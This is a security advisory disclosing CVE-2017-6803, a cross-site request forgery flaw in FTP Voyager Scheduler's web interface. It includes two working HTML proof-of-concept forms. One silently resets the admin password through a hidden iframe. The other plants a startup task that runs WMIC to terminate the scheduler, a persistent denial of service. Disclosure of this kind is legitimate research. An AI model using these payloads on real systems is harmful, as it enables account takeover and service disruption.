[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/FTP-VOYAGER-SCHEDULER-CSRF-REMOTE-CMD-EXECUTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==============
solarwinds.com
www.serv-u.com



Product:
====================
FTP Voyager Scheduler
v16.2.0



Vulnerability Type:
=============================
CSRF Remote Command Execution



CVE Reference:
==============
CVE-2017-6803



Security Issue:
================
Multiple cross site request forgeries exist in the Web Interface side of FTP Voyager Scheduler running on port 52986.
Allowing remote attackers to make HTTP requests on behalf of an authenticated user if that user visits a malicious
webpage or clicks an attacker supplied link. 

FTP Voyager has a scheduler feature that lets users create tasks/commands to execute on some type of other action like
when Directorys are created, files uploaded/downloader, Scheduler starts or stops and so forth. Remote attackers who
successfully pull off CSRF exploitation can do things like change the Admin password or cause a persistent Denial of Service
by setting the task to terminate "FTP Voyager Scheduler" itself upon startup among other nefarious things.




Exploit/POC:
=============

Default login no password, then set a password in FTP Voyager Scheduler Web interface.

Upon CSRF the user will get a HTTP Response will be like below, we can prevent user from seeing this message 
targeting hidden iframe in webpage.

<response><result>0</result><ResultText>Operation was successful.</ResultText><ObjectID>141175</ObjectID></response>



1) Change Admin passwd 

<iframe name="hideme" style="display:none" ></iframe>

<form target="hideme" action="http://localhost:52986/Admin/XML/Result.xml?Command=UpdateObject&Object=CScheduler.0.Scheduler.0&StaticOnly=1&Sync=666" method="post">
<input type="hidden" name="AdminPassword" value="PWN123">
<input type="hidden" name="ConfirmAdminPassword" value="PWN123">
<input type="hidden" name="RemoteAdmin" value="1">
<input type="hidden" name="RemoteAdminPort" value="52986">
<input type="hidden" name="RemoteAdminSSL" value="0">
<script>document.forms[0].submit()</script>
</form>



2) Persistent Denial Of Service uses call to WMIC

<form action="http://localhost:52986/Admin/XML/Result.xml?Command=AddObject&Object=CEventAttrs.0.FVSEvent&Sync=666" method="post">
<input type="hidden" name="EventName" value="PWN">
<input type="hidden" name="Description" value="Run Command!">
<input type="hidden" name="Enabled" value="1">
<input type="hidden" name="EventID" value="1"> <!-- Run on Scheduler Start event -->
<input type="hidden" name="Action" value="2">
<input type="hidden" name="multiselect_Action" value="2">
<input type="hidden" name="EmailToAddress" value="evil@gods.abyss">
<input type="hidden" name="EmailToAddressBCC" value="">
<input type="hidden" name="ExeFilePath" value="C:\Windows\System32\wbem\WMIC.exe">
<input type="hidden" name="ExecWaitSecs" value="5">
<input type="hidden" name="Data1" value="process where name='FTP Voyager Scheduler.exe' call terminate">
<input type="hidden" name="Data2" value="&">
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=======================================
Vendor Notification: November 30, 2016
Result:  No Reply
Second Notification Attempt: March 5, 2017
Result: 
March 9, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c)

hyp3rlinx